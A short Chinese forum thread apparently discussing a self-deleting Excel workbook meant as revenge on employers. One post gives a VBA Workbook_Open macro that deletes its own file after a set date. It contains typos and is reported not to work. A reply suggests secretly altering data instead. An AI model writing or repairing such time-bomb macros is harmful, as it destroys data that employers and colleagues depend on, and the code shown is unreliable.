armok. 发表于 2023-8-7 16:45:27

Excel文件到期自动删除

【Excel文件到期自动删除！特别适用那些垃圾公司！-哔哩哔哩】 https://b23.tv/R34iSdE

hushaoxin 发表于 2023-8-7 19:19:50

Private Sub Workbook_Open()
lf Date >= #7/28/2023# Then '自杀时间
With ThisWorkbook
    .Saved = True '无论更不更改工簿，都不会弹出对话框
    .ChangeFileAccess xlReadOnly '将工作设为只读，当我们打开了工作演是不可以删除这个文件的，只读状态可以进行删除操作
    Kill .FulIName '删除路劲加文件名
    Application.Quit '关闭整个程序
End With
End lf
End Sub


貌似没成功

Momo 发表于 2023-8-7 19:22:38

都上脚本了，改几行数据不比删除整个文件来的解气？

PowerAnts 发表于 2023-8-11 15:53:22

删除只是吧FAT内文件名第一个字符改为“？”，DOS年代用DEBUG.EXE 就可手工恢复了
页: [1]
查看完整版本: Excel文件到期自动删除